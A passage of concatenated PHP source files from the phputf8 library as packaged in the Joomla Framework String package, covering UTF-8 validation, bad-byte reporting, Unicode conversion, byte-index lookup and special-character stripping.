                        return UTF8_BAD_UNIOUTRANGE;
                    }

                    //initialize UTF8 cache
                    $mState = 0;
                    $mUcs4  = 0;
                    $mBytes = 1;
                }

            } else {
                // ((0xC0 & (*in) != 0x80) && (mState != 0))
                // Incomplete multi-octet sequence.
                $i--;
                return UTF8_BAD_SEQINCOMPLETE;
            }
        }
    }

    if ( $mState != 0 ) {
        // Incomplete multi-octet sequence.
        $i--;
        return UTF8_BAD_SEQINCOMPLETE;
    }

    // No bad octets found
    $i = NULL;
    return FALSE;
}

//--------------------------------------------------------------------
/**
* Takes a return code from utf8_bad_identify() are returns a message
* (in English) explaining what the problem is.
* @param int return code from utf8_bad_identify
* @return mixed string message or FALSE if return code unknown
* @see utf8_bad_identify
* @package utf8
*/
function utf8_bad_explain($code) {

    switch ($code) {

        case UTF8_BAD_5OCTET:
            return 'Five octet sequences are valid UTF-8 but are not
supported by Unicode';
        break;

        case UTF8_BAD_6OCTET:
            return 'Six octet sequences are valid UTF-8 but are not
supported by Unicode';
        break;

        case UTF8_BAD_SEQID:
            return 'Invalid octet for use as start of multi-byte UTF-8
sequence';
        break;

        case UTF8_BAD_NONSHORT:
            return 'From Unicode 3.1, non-shortest form is
illegal';
        break;

        case UTF8_BAD_SURROGATE:
            return 'From Unicode 3.2, surrogate characters are
illegal';
        break;

        case UTF8_BAD_UNIOUTRANGE:
            return 'Codepoints outside the Unicode range are
illegal';
        break;

        case UTF8_BAD_SEQINCOMPLETE:
            return 'Incomplete multi-octet sequence';
        break;

    }

    trigger_error('Unknown error code: '.$code,E_USER_WARNING);
    return FALSE;

}
<?php
/**
* PCRE Regular expressions for UTF-8. Note this file is not actually used
by
* the rest of the library but these regular expressions can be useful to
have
* available.
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @package utf8
*/

//--------------------------------------------------------------------
/**
* PCRE Pattern to check a UTF-8 string is valid
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @package utf8
*/
$UTF8_VALID = '^('.
    '[\x00-\x7F]'.                          # ASCII (including
control chars)
    '|[\xC2-\xDF][\x80-\xBF]'.              # non-overlong 2-byte
    '|\xE0[\xA0-\xBF][\x80-\xBF]'.          # excluding overlongs
    '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'.   # straight 3-byte
    '|\xED[\x80-\x9F][\x80-\xBF]'.          # excluding
surrogates
    '|\xF0[\x90-\xBF][\x80-\xBF]{2}'.       # planes 1-3
    '|[\xF1-\xF3][\x80-\xBF]{3}'.           # planes 4-15
    '|\xF4[\x80-\x8F][\x80-\xBF]{2}'.       # plane 16
    ')*$';

//--------------------------------------------------------------------
/**
* PCRE Pattern to match single UTF-8 characters
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @package utf8
*/
$UTF8_MATCH =
    '([\x00-\x7F])'.                          # ASCII (including
control chars)
    '|([\xC2-\xDF][\x80-\xBF])'.              # non-overlong
2-byte
    '|(\xE0[\xA0-\xBF][\x80-\xBF])'.          # excluding
overlongs
    '|([\xE1-\xEC\xEE\xEF][\x80-\xBF]{2})'.   # straight 3-byte
    '|(\xED[\x80-\x9F][\x80-\xBF])'.          # excluding
surrogates
    '|(\xF0[\x90-\xBF][\x80-\xBF]{2})'.       # planes 1-3
    '|([\xF1-\xF3][\x80-\xBF]{3})'.           # planes 4-15
    '|(\xF4[\x80-\x8F][\x80-\xBF]{2})';       # plane 16

//--------------------------------------------------------------------
/**
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @package utf8
*/
$UTF8_BAD =
    '([\x00-\x7F]'.                          # ASCII (including
control chars)
    '|[\xC2-\xDF][\x80-\xBF]'.               # non-overlong
2-byte
    '|\xE0[\xA0-\xBF][\x80-\xBF]'.           # excluding
overlongs
    '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'.    # straight 3-byte
    '|\xED[\x80-\x9F][\x80-\xBF]'.           # excluding
surrogates
    '|\xF0[\x90-\xBF][\x80-\xBF]{2}'.        # planes 1-3
    '|[\xF1-\xF3][\x80-\xBF]{3}'.            # planes 4-15
    '|\xF4[\x80-\x8F][\x80-\xBF]{2}'.        # plane 16
    '|(.{1}))';                              # invalid byte
<?php
/**
* Locate a byte index given a UTF-8 character index
* @package utf8
*/

//--------------------------------------------------------------------
/**
* Given a string and a character index in the string, in
* terms of the UTF-8 character position, returns the byte
* index of that character. Can be useful when you want to
* PHP's native string functions but we warned, locating
* the byte can be expensive
* Takes variable number of parameters - first must be
* the search string then 1 to n UTF-8 character positions
* to obtain byte indexes for - it is more efficient to search
* the string for multiple characters at once, than make
* repeated calls to this function
*
* @author Chris Smith<chris@jalakai.co.uk>
* @param string string to locate index in
* @param int (n times)
* @return mixed - int if only one input int, array if more
* @return boolean TRUE if it's all ASCII
* @package utf8
*/
function utf8_byte_position() {

    $args = func_get_args();
    $str =& array_shift($args);
    if (!is_string($str)) return false;

    $result = array();

    // trivial byte index, character offset pair
    $prev = array(0,0);

    // use a short piece of str to estimate bytes per character
    // $i (& $j) -> byte indexes into $str
    $i = utf8_locate_next_chr($str, 300);

    // $c -> character offset into $str
    $c = strlen(utf8_decode(substr($str,0,$i)));

    // deal with arguments from lowest to highest
    sort($args);

    foreach ($args as $offset) {
        // sanity checks FIXME

        // 0 is an easy check
        if ($offset == 0) { $result[] = 0; continue; }

        // ensure no endless looping
        $safety_valve = 50;

        do {

            if ( ($c - $prev[1]) == 0 ) {
                // Hack: gone past end of string
                $error = 0;
                $i = strlen($str);
                break;
            }

            $j = $i + (int)(($offset-$c) * ($i - $prev[0]) / ($c -
$prev[1]));

            // correct to utf8 character boundary
            $j = utf8_locate_next_chr($str, $j);

            // save the index, offset for use next iteration
            $prev = array($i,$c);

            if ($j > $i) {
                // determine new character offset
                $c += strlen(utf8_decode(substr($str,$i,$j-$i)));
            } else {
                // ditto
                $c -= strlen(utf8_decode(substr($str,$j,$i-$j)));
            }

            $error = abs($c-$offset);

            // ready for next time around
            $i = $j;

        // from 7 it is faster to iterate over the string
        } while ( ($error > 7) && --$safety_valve) ;

        if ($error && $error <= 7) {

            if ($c < $offset) {
                // move up
                while ($error--) { $i = utf8_locate_next_chr($str,++$i); }
            } else {
                // move down
                while ($error--) { $i = utf8_locate_current_chr($str,--$i);
}
            }

            // ready for next arg
            $c = $offset;
        }
        $result[] = $i;
    }

    if ( count($result) == 1 ) {
        return $result[0];
    }

    return $result;
}

//--------------------------------------------------------------------
/**
* Given a string and any byte index, returns the byte index
* of the start of the current UTF-8 character, relative to supplied
* position. If the current character begins at the same place as the
* supplied byte index, that byte index will be returned. Otherwise
* this function will step backwards, looking for the index where
* curent UTF-8 character begins
* @author Chris Smith<chris@jalakai.co.uk>
* @param string
* @param int byte index in the string
* @return int byte index of start of next UTF-8 character
* @package utf8
*/
function utf8_locate_current_chr( &$str, $idx ) {

    if ($idx <= 0) return 0;

    $limit = strlen($str);
    if ($idx >= $limit) return $limit;

    // Binary value for any byte after the first in a multi-byte UTF-8
character
    // will be like 10xxxxxx so & 0xC0 can be used to detect this kind
    // of byte - assuming well formed UTF-8
    while ($idx && ((ord($str[$idx]) & 0xC0) == 0x80)) $idx--;

    return $idx;
}

//--------------------------------------------------------------------
/**
* Given a string and any byte index, returns the byte index
* of the start of the next UTF-8 character, relative to supplied
* position. If the next character begins at the same place as the
* supplied byte index, that byte index will be returned.
* @author Chris Smith<chris@jalakai.co.uk>
* @param string
* @param int byte index in the string
* @return int byte index of start of next UTF-8 character
* @package utf8
*/
function utf8_locate_next_chr( &$str, $idx ) {

    if ($idx <= 0) return 0;

    $limit = strlen($str);
    if ($idx >= $limit) return $limit;

    // Binary value for any byte after the first in a multi-byte UTF-8
character
    // will be like 10xxxxxx so & 0xC0 can be used to detect this kind
    // of byte - assuming well formed UTF-8
    while (($idx < $limit) && ((ord($str[$idx]) & 0xC0) ==
0x80)) $idx++;

    return $idx;
}

<?php
/**
* Utilities for processing "special" characters in UTF-8.
"Special" largely means anything which would
* be regarded as a non-word character, like ASCII control characters and
punctuation. This has a "Roman"
* bias - it would be unaware of modern Chinese "punctuation"
characters for example.
* Note: requires utils/unicode.php to be loaded
* @package utf8
* @see utf8_is_valid
*/

//--------------------------------------------------------------------
/**
* Used internally. Builds a PCRE pattern from the $UTF8_SPECIAL_CHARS
* array defined in this file
* The $UTF8_SPECIAL_CHARS should contain all special characters
(non-letter/non-digit)
* defined in the various local charsets - it's not a complete list of
* non-alphanum characters in UTF-8. It's not perfect but should match
most
* cases of special chars.
* This function adds the control chars 0x00 to 0x19 to the array of
* special chars (they are not included in $UTF8_SPECIAL_CHARS)
* @package utf8
* @return string
* @see utf8_from_unicode
* @see utf8_is_word_chars
* @see utf8_strip_specials
*/
function utf8_specials_pattern() {
    static $pattern = NULL;

    if ( !$pattern ) {
        $UTF8_SPECIAL_CHARS = array(
    0x001a, 0x001b, 0x001c, 0x001d, 0x001e, 0x001f, 0x0020, 0x0021, 0x0022,
0x0023,
    0x0024, 0x0025, 0x0026, 0x0027, 0x0028, 0x0029, 0x002a, 0x002b, 0x002c,
    0x002f,         0x003b, 0x003c, 0x003d, 0x003e, 0x003f, 0x0040, 0x005b,
    0x005c, 0x005d, 0x005e,         0x0060, 0x007b, 0x007c, 0x007d, 0x007e,
    0x007f, 0x0080, 0x0081, 0x0082, 0x0083, 0x0084, 0x0085, 0x0086, 0x0087,
0x0088,
    0x0089, 0x008a, 0x008b, 0x008c, 0x008d, 0x008e, 0x008f, 0x0090, 0x0091,
0x0092,
    0x0093, 0x0094, 0x0095, 0x0096, 0x0097, 0x0098, 0x0099, 0x009a, 0x009b,
0x009c,
    0x009d, 0x009e, 0x009f, 0x00a0, 0x00a1, 0x00a2, 0x00a3, 0x00a4, 0x00a5,
0x00a6,
    0x00a7, 0x00a8, 0x00a9, 0x00aa, 0x00ab, 0x00ac, 0x00ad, 0x00ae, 0x00af,
0x00b0,
    0x00b1, 0x00b2, 0x00b3, 0x00b4, 0x00b5, 0x00b6, 0x00b7, 0x00b8, 0x00b9,
0x00ba,
    0x00bb, 0x00bc, 0x00bd, 0x00be, 0x00bf, 0x00d7, 0x00f7, 0x02c7, 0x02d8,
0x02d9,
    0x02da, 0x02db, 0x02dc, 0x02dd, 0x0300, 0x0301, 0x0303, 0x0309, 0x0323,
0x0384,
    0x0385, 0x0387, 0x03b2, 0x03c6, 0x03d1, 0x03d2, 0x03d5, 0x03d6, 0x05b0,
0x05b1,
    0x05b2, 0x05b3, 0x05b4, 0x05b5, 0x05b6, 0x05b7, 0x05b8, 0x05b9, 0x05bb,
0x05bc,
    0x05bd, 0x05be, 0x05bf, 0x05c0, 0x05c1, 0x05c2, 0x05c3, 0x05f3, 0x05f4,
0x060c,
    0x061b, 0x061f, 0x0640, 0x064b, 0x064c, 0x064d, 0x064e, 0x064f, 0x0650,
0x0651,
    0x0652, 0x066a, 0x0e3f, 0x200c, 0x200d, 0x200e, 0x200f, 0x2013, 0x2014,
0x2015,
    0x2017, 0x2018, 0x2019, 0x201a, 0x201c, 0x201d, 0x201e, 0x2020, 0x2021,
0x2022,
    0x2026, 0x2030, 0x2032, 0x2033, 0x2039, 0x203a, 0x2044, 0x20a7, 0x20aa,
0x20ab,
    0x20ac, 0x2116, 0x2118, 0x2122, 0x2126, 0x2135, 0x2190, 0x2191, 0x2192,
0x2193,
    0x2194, 0x2195, 0x21b5, 0x21d0, 0x21d1, 0x21d2, 0x21d3, 0x21d4, 0x2200,
0x2202,
    0x2203, 0x2205, 0x2206, 0x2207, 0x2208, 0x2209, 0x220b, 0x220f, 0x2211,
0x2212,
    0x2215, 0x2217, 0x2219, 0x221a, 0x221d, 0x221e, 0x2220, 0x2227, 0x2228,
0x2229,
    0x222a, 0x222b, 0x2234, 0x223c, 0x2245, 0x2248, 0x2260, 0x2261, 0x2264,
0x2265,
    0x2282, 0x2283, 0x2284, 0x2286, 0x2287, 0x2295, 0x2297, 0x22a5, 0x22c5,
0x2310,
    0x2320, 0x2321, 0x2329, 0x232a, 0x2469, 0x2500, 0x2502, 0x250c, 0x2510,
0x2514,
    0x2518, 0x251c, 0x2524, 0x252c, 0x2534, 0x253c, 0x2550, 0x2551, 0x2552,
0x2553,
    0x2554, 0x2555, 0x2556, 0x2557, 0x2558, 0x2559, 0x255a, 0x255b, 0x255c,
0x255d,
    0x255e, 0x255f, 0x2560, 0x2561, 0x2562, 0x2563, 0x2564, 0x2565, 0x2566,
0x2567,
    0x2568, 0x2569, 0x256a, 0x256b, 0x256c, 0x2580, 0x2584, 0x2588, 0x258c,
0x2590,
    0x2591, 0x2592, 0x2593, 0x25a0, 0x25b2, 0x25bc, 0x25c6, 0x25ca, 0x25cf,
0x25d7,
    0x2605, 0x260e, 0x261b, 0x261e, 0x2660, 0x2663, 0x2665, 0x2666, 0x2701,
0x2702,
    0x2703, 0x2704, 0x2706, 0x2707, 0x2708, 0x2709, 0x270c, 0x270d, 0x270e,
0x270f,
    0x2710, 0x2711, 0x2712, 0x2713, 0x2714, 0x2715, 0x2716, 0x2717, 0x2718,
0x2719,
    0x271a, 0x271b, 0x271c, 0x271d, 0x271e, 0x271f, 0x2720, 0x2721, 0x2722,
0x2723,
    0x2724, 0x2725, 0x2726, 0x2727, 0x2729, 0x272a, 0x272b, 0x272c, 0x272d,
0x272e,
    0x272f, 0x2730, 0x2731, 0x2732, 0x2733, 0x2734, 0x2735, 0x2736, 0x2737,
0x2738,
    0x2739, 0x273a, 0x273b, 0x273c, 0x273d, 0x273e, 0x273f, 0x2740, 0x2741,
0x2742,
    0x2743, 0x2744, 0x2745, 0x2746, 0x2747, 0x2748, 0x2749, 0x274a, 0x274b,
0x274d,
    0x274f, 0x2750, 0x2751, 0x2752, 0x2756, 0x2758, 0x2759, 0x275a, 0x275b,
0x275c,
    0x275d, 0x275e, 0x2761, 0x2762, 0x2763, 0x2764, 0x2765, 0x2766, 0x2767,
0x277f,
    0x2789, 0x2793, 0x2794, 0x2798, 0x2799, 0x279a, 0x279b, 0x279c, 0x279d,
0x279e,
    0x279f, 0x27a0, 0x27a1, 0x27a2, 0x27a3, 0x27a4, 0x27a5, 0x27a6, 0x27a7,
0x27a8,
    0x27a9, 0x27aa, 0x27ab, 0x27ac, 0x27ad, 0x27ae, 0x27af, 0x27b1, 0x27b2,
0x27b3,
    0x27b4, 0x27b5, 0x27b6, 0x27b7, 0x27b8, 0x27b9, 0x27ba, 0x27bb, 0x27bc,
0x27bd,
    0x27be, 0xf6d9, 0xf6da, 0xf6db, 0xf8d7, 0xf8d8, 0xf8d9, 0xf8da, 0xf8db,
0xf8dc,
    0xf8dd, 0xf8de, 0xf8df, 0xf8e0, 0xf8e1, 0xf8e2, 0xf8e3, 0xf8e4, 0xf8e5,
0xf8e6,
    0xf8e7, 0xf8e8, 0xf8e9, 0xf8ea, 0xf8eb, 0xf8ec, 0xf8ed, 0xf8ee, 0xf8ef,
0xf8f0,
    0xf8f1, 0xf8f2, 0xf8f3, 0xf8f4, 0xf8f5, 0xf8f6, 0xf8f7, 0xf8f8, 0xf8f9,
0xf8fa,
    0xf8fb, 0xf8fc, 0xf8fd, 0xf8fe, 0xfe7c, 0xfe7d,
            );
        $pattern = preg_quote(utf8_from_unicode($UTF8_SPECIAL_CHARS),
'/');
        $pattern = '/[\x00-\x19'.$pattern.']/u';
    }

    return $pattern;
}

//--------------------------------------------------------------------
/**
* Checks a string for whether it contains only word characters. This
* is logically equivalent to the \w PCRE meta character. Note that
* this is not a 100% guarantee that the string only contains alpha /
* numeric characters but just that common non-alphanumeric are not
* in the string, including ASCII device control characters.
* @package utf8
* @param string to check
* @return boolean TRUE if the string only contains word characters
* @see utf8_specials_pattern
*/
function utf8_is_word_chars($str) {
    return !(bool)preg_match(utf8_specials_pattern(),$str);
}

//--------------------------------------------------------------------
/**
* Removes special characters (nonalphanumeric) from a UTF-8 string
*
* This can be useful as a helper for sanitizing a string for use as
* something like a file name or a unique identifier. Be warned though
* it does not handle all possible non-alphanumeric characters and is
* not intended is some kind of security / injection filter.
*
* @package utf8
* @author Andreas Gohr <andi@splitbrain.org>
* @param string $string The UTF8 string to strip of special chars
* @param string (optional) $repl   Replace special with this string
* @return string with common non-alphanumeric characters removed
* @see utf8_specials_pattern
*/
function utf8_strip_specials($string, $repl=''){
    return preg_replace(utf8_specials_pattern(), $repl, $string);
}


<?php
/**
* Tools for conversion between UTF-8 and unicode
* The Original Code is Mozilla Communicator client code.
* The Initial Developer of the Original Code is
* Netscape Communications Corporation.
* Portions created by the Initial Developer are Copyright (C) 1998
* the Initial Developer. All Rights Reserved.
* Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi)
* Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks
gmail com)
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/

//--------------------------------------------------------------------
/**
* Takes an UTF-8 string and returns an array of ints representing the
* Unicode characters. Astral planes are supported ie. the ints in the
* output can be > 0xFFFF. Occurrances of the BOM are ignored. Surrogates
* are not allowed.
* Returns false if the input string isn't a valid UTF-8 octet sequence
* and raises a PHP error at level E_USER_WARNING
* Note: this function has been modified slightly in this library to
* trigger errors on encountering bad bytes
*
* Joomla modification - As of PHP 7.4, curly brace access has been
deprecated. As a result this function has been
* modified to use square brace syntax
* See
https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a
* for additional references
*
* @author <hsivonen@iki.fi>
* @param string UTF-8 encoded string
* @return mixed array of unicode code points or FALSE if UTF-8 invalid
* @see utf8_from_unicode
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/
function utf8_to_unicode($str) {
    $mState = 0;     // cached expected number of octets after the current
octet
                     // until the beginning of the next UTF8 character
sequence
    $mUcs4  = 0;     // cached Unicode character
    $mBytes = 1;     // cached expected number of octets in the current
sequence

    $out = array();

    $len = strlen($str);

    for($i = 0; $i < $len; $i++) {

        $in = ord($str[$i]);

        if ( $mState == 0) {

            // When mState is zero we expect either a US-ASCII character or
a
            // multi-octet sequence.
            if (0 == (0x80 & ($in))) {
                // US-ASCII, pass straight through.
                $out[] = $in;
                $mBytes = 1;

            } else if (0xC0 == (0xE0 & ($in))) {
                // First octet of 2 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x1F) << 6;
                $mState = 1;
                $mBytes = 2;

            } else if (0xE0 == (0xF0 & ($in))) {
                // First octet of 3 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x0F) << 12;
                $mState = 2;
                $mBytes = 3;

            } else if (0xF0 == (0xF8 & ($in))) {
                // First octet of 4 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x07) << 18;
                $mState = 3;
                $mBytes = 4;

            } else if (0xF8 == (0xFC & ($in))) {
                /* First octet of 5 octet sequence.
                *
                * This is illegal because the encoded codepoint must be
either
                * (a) not the shortest form or
                * (b) outside the Unicode range of 0-0x10FFFF.
                * Rather than trying to resynchronize, we will carry on
until the end
                * of the sequence and let the later error handling code
catch it.
                */
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x03) << 24;
                $mState = 4;
                $mBytes = 5;

            } else if (0xFC == (0xFE & ($in))) {
                // First octet of 6 octet sequence, see comments for 5
octet sequence.
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 1) << 30;
                $mState = 5;
                $mBytes = 6;

            } else {
                /* Current octet is neither in the US-ASCII range nor a
legal first
                 * octet of a multi-octet sequence.
                 */
                trigger_error(
                        'utf8_to_unicode: Illegal sequence identifier
'.
                            'in UTF-8 at byte '.$i,
                        E_USER_WARNING
                    );
                return FALSE;

            }

        } else {

            // When mState is non-zero, we expect a continuation of the
multi-octet
            // sequence
            if (0x80 == (0xC0 & ($in))) {

                // Legal continuation.
                $shift = ($mState - 1) * 6;
                $tmp = $in;
                $tmp = ($tmp & 0x0000003F) << $shift;
                $mUcs4 |= $tmp;

                /**
                * End of the multi-octet sequence. mUcs4 now contains the
final
                * Unicode codepoint to be output
                */
                if (0 == --$mState) {

                    /*
                    * Check for illegal sequences and codepoints.
                    */
                    // From Unicode 3.1, non-shortest form is illegal
                    if (((2 == $mBytes) && ($mUcs4 < 0x0080)) ||
                        ((3 == $mBytes) && ($mUcs4 < 0x0800)) ||
                        ((4 == $mBytes) && ($mUcs4 < 0x10000))
||
                        (4 < $mBytes) ||
                        // From Unicode 3.2, surrogate characters are
illegal
                        (($mUcs4 & 0xFFFFF800) == 0xD800) ||
                        // Codepoints outside the Unicode range are illegal
                        ($mUcs4 > 0x10FFFF)) {

                        trigger_error(
                                'utf8_to_unicode: Illegal sequence or
codepoint '.
                                    'in UTF-8 at byte '.$i,
                                E_USER_WARNING
                            );

                        return FALSE;

                    }

                    if (0xFEFF != $mUcs4) {
                        // BOM is legal but we don't want to output it
                        $out[] = $mUcs4;
                    }

                    //initialize UTF8 cache
                    $mState = 0;
                    $mUcs4  = 0;
                    $mBytes = 1;
                }

            } else {
                /**
                *((0xC0 & (*in) != 0x80) && (mState != 0))
                * Incomplete multi-octet sequence.
                */
                trigger_error(
                        'utf8_to_unicode: Incomplete multi-octet
'.
                        '   sequence in UTF-8 at byte '.$i,
                        E_USER_WARNING
                    );

                return FALSE;
            }
        }
    }
    return $out;
}

//--------------------------------------------------------------------
/**
* Takes an array of ints representing the Unicode characters and returns
* a UTF-8 string. Astral planes are supported ie. the ints in the
* input can be > 0xFFFF. Occurrances of the BOM are ignored. Surrogates
* are not allowed.
* Returns false if the input array contains ints that represent
* surrogates or are outside the Unicode range
* and raises a PHP error at level E_USER_WARNING
* Note: this function has been modified slightly in this library to use
* output buffering to concatenate the UTF-8 string (faster) as well as
* reference the array by it's keys
* @param array of unicode code points representing a string
* @return mixed UTF-8 string or FALSE if array contains invalid code points
* @author <hsivonen@iki.fi>
* @see utf8_to_unicode
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/
function utf8_from_unicode($arr) {
    ob_start();

    foreach (array_keys($arr) as $k) {

        # ASCII range (including control chars)
        if ( ($arr[$k] >= 0) && ($arr[$k] <= 0x007f) ) {

            echo chr($arr[$k]);

        # 2 byte sequence
        } else if ($arr[$k] <= 0x07ff) {

            echo chr(0xc0 | ($arr[$k] >> 6));
            echo chr(0x80 | ($arr[$k] & 0x003f));

        # Byte order mark (skip)
        } else if($arr[$k] == 0xFEFF) {

            // nop -- zap the BOM

        # Test for illegal surrogates
        } else if ($arr[$k] >= 0xD800 && $arr[$k] <= 0xDFFF)
{

            // found a surrogate
            trigger_error(
                'utf8_from_unicode: Illegal surrogate '.
                    'at index: '.$k.', value:
'.$arr[$k],
                E_USER_WARNING
                );

            return FALSE;

        # 3 byte sequence
        } else if ($arr[$k] <= 0xffff) {

            echo chr(0xe0 | ($arr[$k] >> 12));
            echo chr(0x80 | (($arr[$k] >> 6) & 0x003f));
            echo chr(0x80 | ($arr[$k] & 0x003f));

        # 4 byte sequence
        } else if ($arr[$k] <= 0x10ffff) {

            echo chr(0xf0 | ($arr[$k] >> 18));
            echo chr(0x80 | (($arr[$k] >> 12) & 0x3f));
            echo chr(0x80 | (($arr[$k] >> 6) & 0x3f));
            echo chr(0x80 | ($arr[$k] & 0x3f));

        } else {

            trigger_error(
                'utf8_from_unicode: Codepoint out of Unicode range
'.
                    'at index: '.$k.', value:
'.$arr[$k],
                E_USER_WARNING
                );

            // out of range
            return FALSE;
        }
    }

    $result = ob_get_contents();
    ob_end_clean();
    return $result;
}
<?php
/**
* Tools for validing a UTF-8 string is well formed.
* The Original Code is Mozilla Communicator client code.
* The Initial Developer of the Original Code is
* Netscape Communications Corporation.
* Portions created by the Initial Developer are Copyright (C) 1998
* the Initial Developer. All Rights Reserved.
* Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi)
* Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks
gmail com)
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/

//--------------------------------------------------------------------
/**
* Tests a string as to whether it's valid UTF-8 and supported by the
* Unicode standard
* Note: this function has been modified to simple return true or false
* @author <hsivonen@iki.fi>
* @param string UTF-8 encoded string
* @return boolean true if valid
* @see http://hsivonen.iki.fi/php-utf8/
* @see utf8_compliant
* @package utf8
*/
function utf8_is_valid($str) {

    $mState = 0;     // cached expected number of octets after the current
octet
                     // until the beginning of the next UTF8 character
sequence
    $mUcs4  = 0;     // cached Unicode character
    $mBytes = 1;     // cached expected number of octets in the current
sequence

    $len = strlen($str);

    for($i = 0; $i < $len; $i++) {

        /*
         * Joomla modification - As of PHP 7.4, curly brace access has been
deprecated. As a result the line below has
         * been modified to use square brace syntax
         * See
https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a
         * for additional references
         */
        $in = ord($str[$i]);

        if ( $mState == 0) {

            // When mState is zero we expect either a US-ASCII character or
a
            // multi-octet sequence.
            if (0 == (0x80 & ($in))) {
                // US-ASCII, pass straight through.
                $mBytes = 1;

            } else if (0xC0 == (0xE0 & ($in))) {
                // First octet of 2 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x1F) << 6;
                $mState = 1;
                $mBytes = 2;

            } else if (0xE0 == (0xF0 & ($in))) {
                // First octet of 3 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x0F) << 12;
                $mState = 2;
                $mBytes = 3;

            } else if (0xF0 == (0xF8 & ($in))) {
                // First octet of 4 octet sequence
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x07) << 18;
                $mState = 3;
                $mBytes = 4;

            } else if (0xF8 == (0xFC & ($in))) {
                /* First octet of 5 octet sequence.
                *
                * This is illegal because the encoded codepoint must be
either
                * (a) not the shortest form or
                * (b) outside the Unicode range of 0-0x10FFFF.
                * Rather than trying to resynchronize, we will carry on
until the end
                * of the sequence and let the later error handling code
catch it.
                */
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 0x03) << 24;
                $mState = 4;
                $mBytes = 5;

            } else if (0xFC == (0xFE & ($in))) {
                // First octet of 6 octet sequence, see comments for 5
octet sequence.
                $mUcs4 = ($in);
                $mUcs4 = ($mUcs4 & 1) << 30;
                $mState = 5;
                $mBytes = 6;

            } else {
                /* Current octet is neither in the US-ASCII range nor a
legal first
                 * octet of a multi-octet sequence.
                 */
                return FALSE;

            }

        } else {

            // When mState is non-zero, we expect a continuation of the
multi-octet
            // sequence
            if (0x80 == (0xC0 & ($in))) {

                // Legal continuation.
                $shift = ($mState - 1) * 6;
                $tmp = $in;
                $tmp = ($tmp & 0x0000003F) << $shift;
                $mUcs4 |= $tmp;

                /**
                * End of the multi-octet sequence. mUcs4 now contains the
final
                * Unicode codepoint to be output
                */
                if (0 == --$mState) {

                    /*
                    * Check for illegal sequences and codepoints.
                    */
                    // From Unicode 3.1, non-shortest form is illegal
                    if (((2 == $mBytes) && ($mUcs4 < 0x0080)) ||
                        ((3 == $mBytes) && ($mUcs4 < 0x0800)) ||
                        ((4 == $mBytes) && ($mUcs4 < 0x10000))
||
                        (4 < $mBytes) ||
                        // From Unicode 3.2, surrogate characters are
illegal
                        (($mUcs4 & 0xFFFFF800) == 0xD800) ||
                        // Codepoints outside the Unicode range are illegal
                        ($mUcs4 > 0x10FFFF)) {

                        return FALSE;

                    }

                    //initialize UTF8 cache
                    $mState = 0;
                    $mUcs4  = 0;
                    $mBytes = 1;
                }

            } else {
                /**
                *((0xC0 & (*in) != 0x80) && (mState != 0))
                * Incomplete multi-octet sequence.
                */

                return FALSE;
            }
        }
    }
    return TRUE;
}

//--------------------------------------------------------------------
/**
* Tests whether a string complies as UTF-8. This will be much
* faster than utf8_is_valid but will pass five and six octet
* UTF-8 sequences, which are not supported by Unicode and
* so cannot be displayed correctly in a browser. In other words
* it is not as strict as utf8_is_valid but it's faster. If you use
* is to validate user input, you place yourself at the risk that
* attackers will be able to inject 5 and 6 byte sequences (which
* may or may not be a significant risk, depending on what you are
* are doing)
* @see utf8_is_valid
* @see
http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php#54805
* @param string UTF-8 string to check
* @return boolean TRUE if string is valid UTF-8
* @package utf8
*/
function utf8_compliant($str) {
    if ( strlen($str) == 0 ) {
        return TRUE;
    }
    // If even just the first character can be matched, when the /u
    // modifier is used, then it's valid UTF-8. If the UTF-8 is
somehow
    // invalid, nothing at all will match, even if the string contains
    // some valid sequences
    return (preg_match('/^.{1}/us',$str,$ar) == 1);
}

<?php
/**
 * Part of the Joomla Framework String Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\String;

/**
 * String handling class for utf-8 data
 * Wraps the phputf8 library
 * All functions assume the validity of utf-8 strings.
 *
 * @since       1.0
 * @deprecated  2.0  Use StringHelper instead
 */
abstract class String extends StringHelper
{
}
<?php
/**
 * Part of the Joomla Framework String Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
